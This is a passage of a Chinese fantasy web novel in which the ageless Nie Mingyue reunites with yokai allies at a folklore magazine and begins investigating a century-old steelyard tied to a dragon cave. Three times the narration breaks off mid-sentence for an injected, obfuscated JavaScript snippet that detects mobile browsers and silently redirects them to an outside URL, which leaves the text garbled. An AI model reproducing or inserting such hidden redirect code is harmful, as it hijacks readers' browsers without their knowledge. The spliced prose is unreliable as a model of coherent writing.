出门第一件事,就买了部手机,用计九崖为她准备好的证件买了电话卡。唐槐直接把自己的银行卡绑到了她手机上,教她怎么扫码付款:“太奶奶,花我的钱!随便花。” 中午买完电脑、衣服和生活用品,吃过午饭后,三人来到了望南街28号。 “你好,我昨天打过电话了,孟夏在吗?”唐槐问前台。 花蕊没好气:“又来一个!”她抬头,看是个帅气男生,把怒气又憋了回去:“稍等一下,我告诉孟姐一声。” 一楼办公区,一个40多岁的短发女人正在打扫卫生。地板刚刚擦过,几张桌子凌乱挤在一起,空气中有清洁液和消毒水的味道。 聂明月突然出声:“阿金?” 女子一惊,转过身来,看到是聂明月,扔掉拖把就冲过来。 唐槐和计九崖都往前站了一步,欲把聂明月挡在身后。 “聂小姐!”阿金边跑边叫,也不知道哪来的力气,直接拨开两人,冲到聂明月跟前。 “您回来啦!”她又想上前,又怕惊扰了对方,双眼满是热泪。 “明月!”一道身影从二楼窜下来,飞速扑到聂明月怀里。计九崖想拦住,奈何对方速度太快,根本来不及。 聂明月伸手拍拍孟夏后背:“好久不见,孟夏。” “太久了!你再不回来,我就不管这个烂摊子了!”孟夏故意抱怨。 “我也没想到你们在这里,本就打算办完事后去找你们的。”聂明月指指旁边的唐槐。 “他是青山的孙子,唐槐。”说到名字的时候,她顿了下。 “……唐槐啊……”孟夏恍然,迅速反应过来:“昨天就听说唐家人要来,原来这么年轻呀。咱们上楼吧。”她挽着聂明月的胳膊,亲亲热热走上台阶,唐槐跟在身后。阿金见现在有外人,擦着久别重逢的热泪,回去继续收拾了。 计九崖一直以为聂明月是个清冷的性子,在世人面前自带明堂之主的威压感,看到她好像早就习惯了孟夏的亲昵,颇出意料之外,在如何与聂明月相处这件事上,有了新的体会。 “计九,你也上来吧。”聂明月停下,对打算在外面等候的计九说,又跟孟夏介绍:“这是雨师家族后人,计九崖计先生。你叫他计九就行。”语气好似在跟两个朋友分别介绍,非常自然。 “好咧,计九,快来。”孟夏热情打招呼,又冲聂明月悄悄竖了个大拇指: “你可越来越像个人了。” 9. 背最重的锅 孟夏带三人进到办公室,尤远志正坐在桌前乖乖填档案表。 孟夏对聂明月说:“这是马鹿子的傻徒弟,上午差点没把这楼给掀翻了。” 尤远志抬头看过来,脑中“轰”一声,如遭雷击。 那个女人。 他看到她跪在茫茫混沌之地,身上密密麻麻的伤痕,鲜血把青衣浸染成了玄衣。 她的头发雪白,笔直地从头顶垂到地上,一丝丝,一缕缕。 她垂目敛眉,任凭赤色火焰一遍遍燎去她的肌肤筋骨,又被白色月华一次次洗刷修复,不停歇地燃魂剥魄。 她抬起的脸没有血色,脸颊带着诡异血纹。 她双目赤红,双唇张开,发出无声的痛苦嘶吼…… 她一定很疼。 太疼了,仿佛有一根细长的针,从他头顶插至脊背,扎向全身…… “尤远志!尤小草!你傻啦?”他在孟夏声音回了魂,她正在又拍脸又掐人中地喊他。 那个女人在幻境中历经千年,原来只是现实的一瞬。 尤远志体质特殊,能看到一些常人所不能见的东西。他以前被师父拘在山中,几乎遇不到人。此次下山从南走到北,对自己的能力有了更深刻的感受。他一直坚信自己是个修行天才,是降妖除魔的天选之人。 此刻他有了一点点不自信,这能力真的是好事吗? 他扔掉手中的笔,站起来,讷讷道:“刚才……我走神了。” 孟夏白了他一眼:“你去外面等我。” 他慌不迭低头走出去。 - “那个小道士!我昨天在镇海寺见过他。”唐槐对他印象深刻。 “说起来他和我一样,都在等你们的消息呢,”孟夏笑着说:“唐家再不来人,我就得想办法找出路啦。” 聂明月找了个靠窗的位置坐下,老房子的木质玻璃窗,正好把窗外的树景分成了四个格子,像一组漂亮的风景画:“你们先谈事,我们一会再叙旧。”她拿起手机,继续看神仙谈恋爱。 《人间行走指南》是一本民俗风物杂志,主要讲一些传统民间故事、古代神话、都市传说。它的前身是一家民国时期出版社的杂志,名字叫《有明堂》。“她起的。”孟夏指指窗口玩手机的人。 建国后,出版社被收编,《有明堂》停刊二十年。复刊后,唐家注册了个公司,把杂志刊号和印刷厂都买了下来。2000年前后,新的主编在投资人唐青山的授意下,改了名字和风格,以地理人文为主,卖得还不错。谁知道新媒体时代来了,传统杂志没了出路,所以最终还是停刊了。目前公司有五人,总经理、主编、前台、保洁和摄影师。 “平均每年接待来访者100多人。最近几年明显增多,应该是受那件事影响。”她看了聂明月一眼,知道她其实一直在听,“从创刊至今93年,累计登记在册2.3万人,处理特殊事件6000多起……每年亏损400多万元……” “什么?什么来访者,什么两万人?”唐槐以为自己听错了。 “亏那么多钱啊?”聂明月都觉得意外了。 “是啊,今天这个,我还得先垫钱呢,记得给我报销啊。”孟夏一脸心疼。 “这应该是爷爷这辈子做得最失败的一次投资了。无底洞呀。”唐槐算了下总体亏损。 “那你就错了,你爷爷拼命挣钱,就是为了养这本杂志,让它一直存在。”孟夏直言。 “所以,什么两万人啊?”他继续追问。 “后来我们就自作主张,”她转移话题,拿起手机快速划过,“我把印刷厂卖了,用那笔钱开发了一个线上平台,做会员管理——用自媒体吸引目标,引流到APP注册登记,你看——”她打开一个图标是小房子的软件:“现有会员800多人。主要吧,好多人还躲在深山老林里,连手机都没有,哎。”她想起今天的尤远志,又是一声叹息。 作为新任老板,唐槐是每个字都懂,这段话却完全听不明白。 “所以唐槐,这个摊子,你管不管?”她笑着看向眼前的年轻人:“这可是你太爷爷的家底。” 唐家少爷出道即巅峰,以最浅的工作经验,被唐青山甩了一口最重的大锅,此时呆若木鸡,一句话都说不出来。 “好了,别逗小孩子,他交给唐槐的意思,就是冲我来的。”聂明月收起手机,“这本来就是我的事,我来弄钱。” 一直沉默的计九崖说:“我可以找人在南方宣传一下,聂小姐回来了,大家该动起来了。” 三人继续商量细则,唐槐听得云里雾里。但他坚持留在房间里,努力把听到的内容都记了下来。 - 待到事毕下楼去,又是傍晚时分了。前台已经下班走了,金姐不知道去了哪里。一位看不出年纪的温雅女子,正笑盈盈跟尤远志聊天。 “道观里平时吃饭都是自己做呀?” “30只头羊!你师父可真会养。” “你会看手相吗?” “你接下来想找什么工作呀?” 尤远志有问必答,乖巧得很。在这个奇怪的小楼里,好像就只有眼前这个女人是正常人。 “这是我们的白瑾瑜白主编。”孟夏介绍:“白主编是唐青山特聘来的,她还是位畅销书作家。” “聂明月。”聂明月伸手:“我马上要来上班了,麻烦白主编了。” 白瑾瑜的一双笑眼更弯了,跟她握了握手:“欢迎,你真好看呀。” 大家闲聊了两句,白瑾瑜也下班了。 孟夏念叨着要先给尤小草买身衣服理个发,跟聂明月约好改天带她出去玩,拉着一脸不情愿的小道士匆匆走了。 金姐悄悄冒出来,把唐槐吓了一跳。 “那个道士眼睛毒,我怕他打我。”金姐跟聂明月告状。 聂明月想起初见时惊魂未定的尤远志,他当时应该是不慎入境了,不知道他在境内看到了什么画面,吓成那副模样。 “马鹿子的徒弟,应该不简单的。”她拍拍金姐的肩膀,本来是好意安抚,谁知道金姐听了更害怕了。 “聂小姐,你跟丽娘出去玩的时候别忘了带上我。我先回去接孩子了。”她见时间差不多了,也拎包走了。 - 一行无话。计九崖开车回到一号公馆,唐槐抱着新买的电脑匆匆下车,直接进了书房再也没出来。 “我该不该跟他说起那些旧事呢?”聂明月问计九崖。 “唐青山当年也这样?”计九崖好奇。 “他当时掩藏得很好,我没看出来。”聂明月缓缓说:“直到今天,去了那家杂志社,我才知道,他其实一直都在生我的气。” “我既不予他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079600|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长生,那今后的路,我就独自一人走吧。” 计九崖站直身子:“唐先生大概是知道的,所以他让我留在您身边。” - 第二天一早,计九崖如约去找陈丽华。他需要提前交代一些事,再把她带到一号公馆来。 聂明月本就不需要睡觉,她结结实实玩了一晚上的手机。看了唐槐说的穿越文,领教到了现在人们的“脑洞”。 她还点开了孟夏发来的穿搭博主链接——孟夏嫌她穿着打扮不洋气,啰唆到深夜。 金姐加了她好友,给她发了她全家的照片,儿子今年上初中了,一家人满脸幸福。 她注册了一个账号,花出去了第一笔钱,买了张视频会员年卡。 这个世界多好,好到她真想就这样一直下去,直到顶着熬夜黑眼圈的唐槐郑重其事站在她面前。 “我昨晚查了一晚上资料,把我能找到的东西都找了。太奶奶,你听听我说得对不对。”唐槐说出研究结论—— “你们是一个神秘组织,叫明堂。我太爷爷和你是首领,你们做了很多大事,从民国初期就开始活动了,这些事到现在都很有影响。” 聂明月正要说话,他做了个手势,继续说:“你可能有什么异能,或者功法,所以看起来容颜不老。那消失的五十年,大概就是闭关修炼吧。” “现在也有很多气功大师、武林高手特别会养生,长命百岁的例子有的是。 “你修炼的那段时间,我爷爷接手了太爷爷的职位,在为你复出做准备。昨天见到的孟夏,还有计九叔,是你们的得力干将。” “岭南马鹿子我也搜到了,确有其人。但是他的线索,从明代就有记录了,什么神医啊,仙人啊,不能全信。这个我想不通。也许每一代至真观观主,都叫马鹿子。 “你们组织里像马鹿子这样的人,还有2万多个。所以我爷爷拼命挣钱,就是为了这些人和他们的后代,能生活好,适应现代社会。比如那个小道士尤远志,他从没上过学,连身份证都没有,也不知道长辈的事。这样的人,还有很多。” “计九叔是雨师家族的。这个我不确定,有记录的雨师有好几个,从上古时期就有了。龙啊妖的,都会降雨,光《山海经》里就有十来个会呼风唤雨的。不过我想这大概是一种武学流派,好比武当派全真教之类的。” “你们让我听见的所有话,我都记住了,我也想明白了。所以太奶奶,您就直接告诉我,要我做什么吧!”唐槐满脸诚恳:“我既然身为唐家人,我就该承担起自己的责任!” 聂明月还在消化他这一长串话,听到最后一句时,她语气强硬地说: “我可以很直接告诉你,你所猜测的,九成都不对。但有一点是对的。” “我和你太爷爷从计划这件事起,到今天,马上一百二十年。” “我不想影响这个世界。我想做的,只是让那2万多个登记在册的,和其他没有出现的,能像孟夏和阿金那样—— “堂堂正正地生活,光明正大地行走。他们和他们的后人,能知道自己是谁,能明白该以什么样的方式存在着。” “明堂不是一个组织,更不是门派。 “明堂是让他们藏在暗处的罪魁祸首。 “唐槐,你不需要承担任何责任。 “你只需要做你自己。” 10. 千金乌木 “你这段时间可以跟着我,有不懂的就问。我知道的,都会告诉你。”眼前的年轻人,眼睛红着,嘴巴也委屈地有点嘟囔。聂明月想,他和他一点都不像,他们确实是两个不同的人了。 “等你觉得可以了,你再来告诉我,你想做什么。” “或者,”聂明月结束了谈话,“你现在就可以离开,去过你原本的生活。” 一席话说得唐槐茫然了,他用了一晚上的时间,翻书翻资料,上网搜近现代史,终于把接收到的信息消化成一条可以理解的主线,自己圆出一个可以说服自己的故事来。 结果聂明月告诉他都错了,还让他想走就赶紧走——想到这,阵阵委屈从心底漫出来。 他初见聂明月就十分亲近,因为他能感受到源自血脉深处的信任,所以他把她当作亲人对待,当成和爷爷一样的长辈相处。 她问他想做什么,这个问题,他前二十年从来不用去想;昨晚想了,都说要承担重任了,她又说他想得不对…… 他眼眶泛起阵阵酸意,好想哭啊,但是现在不能哭,更不能走,因为计九崖带着陈丽华上门来了。 他就要跟着,再仔细听听她到底要干什么! - 陈丽华第一次踏进一号公馆,和两天前大不一样了。花园收拾了大半,正有园丁在翻土种绿植。外墙搭上了脚手架,施工队在修补墙砖。进入大门后,一楼是复古的装修风格,全实木半墙。先前遮光的窗帘也换下来了,挂着轻盈的帘幔,整个空间有着电影里民国洋房里的味道,看得出来,设计师是下了功夫的。但是目之所及,却没有什么装饰摆件,估计是要等着主人回来后亲手布置。 聂明月披着一件深色外袍,头发简单束在脑后,穿一双浅色布拖鞋,鞋面上绣着几朵彩色小花。想来这不是她自己选的,在陈丽华眼里,这个让她能感到强大威压的女子,因此变得稍微有点女孩气了。 “你好,陈女士。”聂明月主动打了招呼,“前两天处理点家里的事,抱歉没有跟你见面,计九叔已经跟我讲过了。”她坐了下来。 计九崖招呼她坐在对面,径自离开。唐槐见没人赶他走,就直愣愣站在聂明月身后。 “聂小姐,久仰大名。”陈丽华半生商场纵横,也是能做到气定神闲的:“要麻烦您了。” “秤杆带了吗?”聂明月直接问。 “带了。”陈丽华从随身的袋子里拿出三节秤杆,特意示范组装方法,递给她。 聂明月仔细端详,红木杆面已沉色透黑,上嵌16颗金色星花,每一颗相间距离不一,有远有近,两颗星之间又有更细的刻度,做得十分精致。 “这是根据北斗七星和南斗六星来制的老秤,七钱为一两,七分为一钱,衡定十六两为一斤,是建国前的衡器标准。”她转动着秤杆。 “那加起来不是只有十三颗吗?”唐槐忍不住插嘴。 聂明月有心教他,数着秤星跟他耐心解释:“制秤是良心活,一个好的制秤师傅,必定是要秉持本心的。有黑心商家,专门用缺斤少两的秤。所以,制秤师就加了福、禄、寿三星,意味着缺一两少福,缺二两少禄,缺三两少寿,以此来警告提醒。”她手指点过福禄寿的三颗嵌花,停了一下。 “秤杆是阴沉木,被伪装成红木成色。光是这三截木头,就能值,”她想了下,换算成现在的价值单位,“一套明月山庄的别墅吧。” 这个陈丽华却是已经发现并且研究过的,她不在意这点钱。 聂明月又摩挲了一下秤头的包杆,心中有数。 “这大概有——”她又在秤星嵌花上点了一下:“百年了。”嵌花与包杆是同一种材质。 陈丽华见她说得全部都对,频频点头,按捺不住心中喜悦,脸上露出笑意来。 - 陈丽华开始讲她当初如何在赵家被打,醒来后发现死了人,慌忙逃下山,在龙洞中发现异象,丢了秤砣。又从身体对于器物灵气有感知,容颜经年不变,说到唐槐脖子上那块吊坠——唐槐摸摸颈间石头,才明白当初陈丽华主动问路,是冲着他来的。 最后,陈丽华说到她尝试多次回去,但总被强大恐惧感压制无法靠近,导致多年无法踏入龙洞村一步。 “陈家现在还有人制秤吗?”她问。陈丽华摇头表示不知。 “现在都是电子秤了,那个更准更省事。”唐槐说。 “这是一杆千斤秤,”聂明月把秤杆递给陈丽华,“单看的话,除了秤杆材质,没有任何特殊的地方。” “聂小姐,”陈丽华连忙说,“您看我该怎么办?多少代价我都愿意付。” 聂明月看着陈丽华,女商人表面上看起来保养得极好,皮肤细腻,谈吐贵气优雅,但身体已如破棉败絮,千疮百孔。 她慢慢说道:“阴沉木本就可以驱邪避凶,放在身边有好处。你身体的异状,不是秤引起的。事情的关键,应该还是在你说的那个龙洞。” “你要只是想解决身体异状,我现在就可以帮你免去后顾之忧。你若是想让这杆秤完整,我得去一趟,两者你只可选一。” 陈丽华听到这话,蹭一下站了起来:“聂小姐,如果能找到秤砣,那可再好不过了。我身体就这样吧,我也活得够久了,该享受的也享受了,只要秤完整回来,我死而无憾。” 聂明月闻言,眼眸闪动,笑了起来:“好,那你就把秤先带回去,等有消息了,我就让计九告诉你。” - 陈丽华走后,客厅陷入安静。只有聂明月的手指,一下一下敲着沙发扶手:“她的描述细节很多,不像是编造的,但是总觉得有不对劲的地方。” 她多次言语试探,发现陈丽华并没有撒谎,可是问题出在哪里呢? “太久没有动过脑筋了,真是有点难办。”聂明月说。 “太奶奶,什么秤能称一千斤啊?”唐槐忍不住问。他仔细记下了全部对话,对此表示不能理解。 “俗话说,四两拨千斤,讲的就是秤的道理。一杆大秤确实挑起千斤重物。但用阴沉木做秤杆——阴沉木是硬度最高的木头,千斤是能挑起来了,又得多大的秤砣能压得住呢?按照陈丽华的描述,那秤砣不过孩童拳头大小。” “秤砣还只是敲破了她的头。”唐槐补充,“一个成年男性,扔一块铁块砸人,脑袋都能砸扁。”他手舞足蹈模仿了个扔东西的动作。 聂明月脑中灵光一现,好像抓到了什么:“这个故事里,还缺了一环。” “她身为陈家后人,重视秤的程度超过自己的生命。可她的讲述中,根本就没提过秤的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079601|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。两种可能,一是她认为不会有人来找秤,她只要做到守秤的承诺就行,那么如果她寿命将至,秤找回来又有什么意义?还有一种可能是,秤的主人已经来了,她需要物归原主。可她又是如何确认,这就是百年前的委托人呢?” 正好计九崖送完客人进屋,刚听到最后一句:“那杆秤,我其实是听说过的。” - 计九崖是南方人,生于越西林州。计氏一族扎根林州绵延千年,家族庞大,宗祠族学在当地非常有影响力。宗祠中有族谱,代代可循,最早记载可追溯到汉代中期,开宗之祖名计岐,是上古神雨师计蒙后人,有召风雷、祈晴雨、伏魔降妖之能。计九崖父亲极有天赋,将家族秘技融会贯通,在整个越西都相当有名气。红白喜事、卜卦问神、驱邪治病之类,都会请他去。后来“破四旧”,计氏宗祠被砸,大量文献藏书统统被毁,计家因此萧条没落,族人离散自保。身为族中长老的计父白天被游街批斗,晚上就抱着年幼的计九崖,与他讲古。 他年少时误入宗祠秘境,得至宝“锁沧海”,有行云控水之能。又曾遇一个姓孙的行脚商贩,自称是探境一族,专门探访这世间的不可知之处。若有缘探到神仙洞府,可以修炼成仙,羽化飞升;即便只找到小处秘境,也能获得神兵丹药,长生不老。计父因自己经历,深信其人所言。 后有一次,两人饮酒,商贩拿出一段乌黑的木头来,说是从一个千年古墓的棺木中获得,问计父可有应用之法。 正好计父知一炼器秘术,可制成“业秤”,既可称量亡人生前善恶功过,又可除魔驱妖避邪。不过这神器需功德深厚、福缘广泽的名匠以心力亲制,再炼龙骨为秤砣、龙须嵌星,才得以成。 “当世神龙无踪,有大功德的炼器名匠更不可得。孙兄,你将这乌木直接卖给富贵人家做个玩物吧。”计父酒后醉言,商贩却听进去了,至此失去音讯。 又过了几年,再遇商贩,已是林州有名的大商人,计父问及那截乌木,商人只说,已找到江中陈家制秤,不过现在时局动乱,陈家流亡,待些时日再去取秤。说罢就向计父打听“锁沧海”之事。计父觉得此人心术不正,耗制秤师福缘以炼器,终将害得制秤师家破人亡,从此淡了,再无来往。 “我在看到那杆秤第一眼,就想到家父的往事。再一问是陈家人,才知道我当故事听的奇闻,竟然真有发生。” 听完计九崖的讲述,唐槐深吸了一口气。世界之大,无奇不有,所谓神兵妙法,竟真实存在着。 聂明月沉吟片刻,道:“我本来见陈丽华体内灵气洁净,无妖邪作乱,打算直接为她化灵炼体来解决此事。现在看来,龙骨炼器,业秤现世,我得去一趟秦川了。” 计九崖点头说:“我马上去准备。” 聂明月却叫住了他:“陈丽华所言皆实,但有所隐瞒。你留在海泽,看看能不能再跟她聊一下,有什么进展,随时告诉我。” “你再跟孟夏说一声,给我找个身份。”现在出门,身份都是自己给的。 计九崖应下。 聂明月站起来,准备出门。 “现在就走啊?”唐槐大惊。 聂明月白了他一眼:“我先去趟镇海寺,你去吗?” “去!当然去!”唐槐精神一振。 11. 掌管教孩子的神 今天是四月的第一天。聂明月从回来到现在,将将三天,却一直在处理各种事情,忙得停不下来。也就只有在路上时候,她才有空透过车窗看看城市。 此时已过上班高峰期,车开得很顺畅。巷口早餐车的锅里冒着热气,大厦楼下一个年轻人一手端着咖啡,一手提着公文包狂奔。街边花园里,有两个老人正抬胳膊踢腿做着运动,一个妈妈推着婴儿车路过,边走边跟车里的孩子做着鬼脸…… 目之所及,赏心悦目。 她不自觉嘴角上扬,笑了起来。 坐在副驾驶的唐槐从后视镜看到她的表情,心想:【今天太奶奶心情很好呢。】 - 镇海寺前身的海神庙,祭祀的是一位清末的大将军。传说当时有海妖出没,祸害渔村,整个村落即将被淹没,正好有一位将军率兵路过,抽出一张银白色弓箭,冲着海潮一声怒吼,潮水随即两边分开,将军乘神兽狻猊立至浪头,雷声电光中,海妖中箭受伤,逃匿深海。为恐海妖复返,将军命坐骑留守于此,背对渔村面朝大海,让海妖远远就能看见,再不敢出现。村民为了感谢和纪念将军,便围着神兽建了一座庙,每逢出海前都会摸摸神兽,祈祷平安。 唐槐默念狻猊神兽像下面石板上的文字,想想不过百余年之前,还有如此富有幻想的传说故事。现在呢,建国后再没有新的传说出现。 “太奶奶,你见过这位将军吗?”他好奇地问。 “见过。”聂明月回答得干脆利落。 唐槐大惊:“真有这么一位将军啊。” 聂明月站在石兽之前,用手拍拍它的背脊。石兽发出一声委屈的呜咽,唐槐浑然不觉。 “好了,这不是来看你了。前几天忙。”聂明月低声安抚,语气间透着宠溺。 这句唐槐可听到了:“太奶奶,你跟谁说话呢!” 聂明月又轻声说:“你今天跟他走。我出趟门,你乖乖等我回来。” 石兽嘤嘤应允,又叽里咕噜一顿输出。 聂明月说:“海泽是你的地盘,这几天会有点不太平,就交给你管啦。” 唐槐凌乱了:【让我也听一下嘛。】 他全然没有发现,自己胸前的兽石,悄悄眨了一下眼。 - 回去的路上,接到孟夏视频,视频那头的她叫得张牙舞爪:“刚回来就要走!我们还没好好聊呢。” 聂明月:“现在不就在聊吗。多方便。” 孟夏没好气:“你现在的身份是民俗文化研究学者,我还给你买了点出门要用的东西,你过来取啊。” 聂明月:“谢谢。” 孟夏:“就两个字可不行。你太久没出门了,会买高铁票吗?会走机场安检吗?导航地图学会看了吗?” 聂明月:“我马上就学。” 孟夏:“你要学的还多着呢。还有你,你也是!”她扭头骂身后正在埋头苦学的尤小草同学,又转过来说:“你要不再等两天,我把这边手头上的事忙完了,就和你一起去。” 聂明月:“孟夏,你别担心我,谁能伤到我?” 孟夏哽了一下:“也是。你记得带点现金啊!我听说有的偏僻地方,没有网,还得用现金付款。” 聂明月:“你现在真的挺像话的。” 孟夏脸一黑:“别骂我。赶紧过来,挂了!” 唐槐听明白了,他小心翼翼地问:“太奶奶,你不带我去秦川啊?” 聂明月道:“你不是个大学生吗?这边事情处理完,就赶紧回去上学吧。” 唐槐无奈转头,心中腹诽:【还说不是我太奶奶,这就开始教育我了。】 - 望南街28号,又是鸡飞狗跳的一幕。小道士尤远志正抱着脑袋被孟夏满场追打。一天未见,他换了个贴头皮的平头短发,穿着一件宽大的潮T,脚上踩着板鞋,看起来已经很像唐槐的同龄人了,但依然让孟夏头疼。 下午阿金来公司打扫卫生,不慎和上厕所的尤远志狭路相逢。尤远志好了伤疤忘了疼,一惊一乍又要收妖,吓得阿金当即化影匿去,孟夏怎么哄都不现身。 阿金胆子极小,这次恐怕再也不会来上班了。 聂明月一行刚到,看到的就是孟夏教训尤远志的一幕。尤远志仓皇逃窜之间,看到聂明月,立马怔住,不敢动弹。 孟夏叹气:“真是个草包脑袋。怎么说都说不通。” 聂明月笑:“你还嫌弃他。当初你也好不到哪里去。” 孟夏想到往事,丢下一句“那你来管管吧”,高跟鞋“噔噔噔”重重踩着木楼梯,上楼了。 聂明月招呼尤远志坐下,问他:“你师父没有跟你讲过,来找孟夏做什么吗?” 尤远志喏喏道:“没,就留了个地址。” 聂明月说:“那你听我先跟你讲讲,这是个什么地方吧。” - “你们修道之人,讲求道法自然,说这天地之间,草木鸟兽鱼,一花一石,万事万物,均是世间的自然存在。人也身在其中。 “鸟兽有自己的生存之道,草木顺应时节生长。日出月落,朝夕交替。生灵都是天地之气所成,和人一样,并没有高低之分。妖为何只能蜷缩在山野中躲起来?鬼为何只能行走在黑暗中? “‘一念成仙,一念成魔’,灵、妖、鬼、人,有了贪欲的,就有了恶灵、妖魔、怨鬼和坏人。精怪魂魄也是如此。 “人类摸索并制定了规则和道理。做错了事就要受到惩罚,不好的品德要得到约束,伤害他人要付出同等代价…… “妖也有自己的生存法则和标准,到了人间,却行不通了,所以才有了话本子上鬼怪作乱的故事。 “《人间行走指南》,我很喜欢这个名字。它其实是一本给妖怪的人间生存指南,告诉妖怪们,人类的血缘亲情、男女的悲欢情爱、朋友的肝胆相照、生活的简单日常都是什么样的存在,帮助妖怪们去适应新的生活。若有像人类那样作恶犯法的,我们会让它付出相应的代价。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079602|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没错,阿金是妖怪,孟夏也是妖怪。甚至连我,都不是人。 “但你见我强大,便不造次;见孟夏凌厉,便乖乖听话。为何见阿金怯弱,就要喊打喊杀呢? “我希望你在海泽的日子,可以好好看看所处的世界,体验不同的经历,降恶魔、除邪妖、扶弱小,找到你的修仙证道之路——我想这就是你师父让你下山的真正目的。” 在聂明月的言真意切的娓娓讲述中,尤远志的神情由紧变松,渐渐陷入思考。阿金含着泪悄悄现身,唐槐听得瞠目结舌,就连看剧摸鱼的花蕊,也不知道什么时候摘下了耳机…… 孟夏在楼上侧耳听完,暗暗吐槽:“还是你会洗脑,不愧是我的女神。” “阿金姐姐,对不起。”尤远志连道歉也说得强硬:“我不该没了解清楚就要捉你,不过如果你以妖的身份做了不好的事,我还是会抓你的。” 阿金惊讶得睁大眼:“我……我也啥都不会啊……我是说,我不会做害人的事。” 聂明月浅笑着说:“你也是个好孩子,你师父没看错你。” 尤远志得到夸奖,红了脸,走到电脑前,继续学习上网。 唐槐内心疯狂弹幕:【我的太奶奶不是人!是掌管教孩子的神!】 - 唐槐站在尤远志身后看热闹,他正在学日常英语。唐槐拍拍他肩膀:“兄弟不错啊,直接上难度了。” 尤远志不好意思地说:“孟姐说现在不管做什么工作,英语字母和简单的单词还是要知道的。” 唐槐好奇:“那你以前在山里每天都做什么?” 尤远志:“除了日常修行外,还有做饭种地、喂羊放牛、采药挖矿……” 唐槐:“……好家伙,全能家政!” - 孟夏给聂明月准备了一个登山包,里面装着几套搭配好的衣服鞋子,已经用真空袋收纳好了:“我本来想给你弄一套户外探险大礼包,后来一想,你什么都用不上,就弄了些轻便的充数,省得在外引起怀疑。” “女孩子在外,要保护好自己呀。”她又递给聂明月一个证件本,上面贴着照片,写着“特聘民俗文化专家”,盖着《人间行走指南》的大红印章。 聂明月提醒孟夏:“马鹿子给尤远志那封信,天北有赤者如席,五色光贯文华,其实是在告诉你,有人冲着我们来了,还是个不小的麻烦。” 孟夏惊到:“他就不能直接说出来吗?总是这样出个预言体。” 聂明月无奈:“他有自己的顾虑,你不必放在心上。来之前我去镇海寺把香香带上了,在唐槐那里。我出门这几天,你把唐槐拘在身边,可以相互照应。” 孟夏连连点头,没有任何犹豫。看到聂明月如此事无巨细的交代事情,不免感慨道:“哎,老唐还在就好了,这些事都不需要你操心。” 聂明月淡淡说:“我早晚有独自上路的时候,这不就到了这一天了?他做出了他的选择,我只会开心,没有不舍。” 12. 老城新店 秦川山脉绵延1600多公里,是华夏文明发源地之一,从地理上是南北方分界线,山阳为南,山阴为北。秦川市自周秦皇朝便已存在,汉唐为郡,解放后立市。秦北县是秦川市辖区县,虽隶属秦川,但因身处山中腹地,位置偏远,交通极为不便,直至今时今日,仍未开通高铁。 从秦川机场出来,聂明月第一次中转,是火车站。秦北矿产资源丰富,有几个大型矿场,早年曾有货运火车运输,同时开通了唯一一条客运车次。曾经山中居民出行极难,只能走山路,如今客运绿皮火车每路过一个村庄小站,都会短暂停留。乡镇上的百姓把它当班车搭乘,赶集探亲,倒也方便。 聂明月特意选了普通列车出行而不是客运汽车,只因这列火车自秦川市起,到邻省辖区利南县而终,刚好从秦川中腹群山之间横穿而过,沿途山景风光无限。她需要一点时间,来想此行的具体行程。六十年前的往事,又涉及百年前物品,估计当年的知情人已均不在世,除了龙洞村,恐怕还得找一些别的途径。 车上乘客不多,基本是住在沿途的当地山民。聂明月把登山包放在行李架上,就近找了个空座坐下。她的头发已剪至肩下,扎了个低马尾,穿着防水防风的咖色短大衣、窄腿工装裤和涉水短靴——这是孟夏给她准备的,说是符合她民俗研究专家跋山涉水的人设。在这个方面她一向不上心,也着实没有天赋。 这列绿皮车被改装过,取消了传统火车的连排座椅,在车厢两侧安装了长凳,中间位置空出来,正好方便乘客放东西。此时聂明月面前的地上,就堆着两袋化肥、一个空背篼,一个磨盘大小的双层竹筐,里面装满了叽叽喳喳的小鸡崽。她本想假寐来做接下来的安排,奈何小鸡崽的叫声愈加密集,无法集中精力。她索性睁眼侧坐看向窗外,就当欣赏风景。 列车车速不快,连绵不绝的山林崖壁慢悠悠从车窗划过,尽管火车轧着轨道声阵阵,她还是听到了来自山中传来的各种声音,仿佛在窃窃私语交换信息。因是在山中穿行,每行一段就会进入隧道,越走隧道越密,最久的一次,大概有10多分钟。她拿起手机,发现已经没有信号了。 自有记忆起,她从没来过秦川,但听陈丽华讲到龙洞时,就预感那个地方和她的身份来历有着密切的关联。乌木秤杆虽不常见,但无异样。而十六颗秤星嵌花和两头包杆皮,据计九崖所说,那是龙须所制。当她手指拂过嵌花时,有一种熟悉的气息,那气息极为微弱,和石兽香香相近,应该和她有极为亲近的关系。 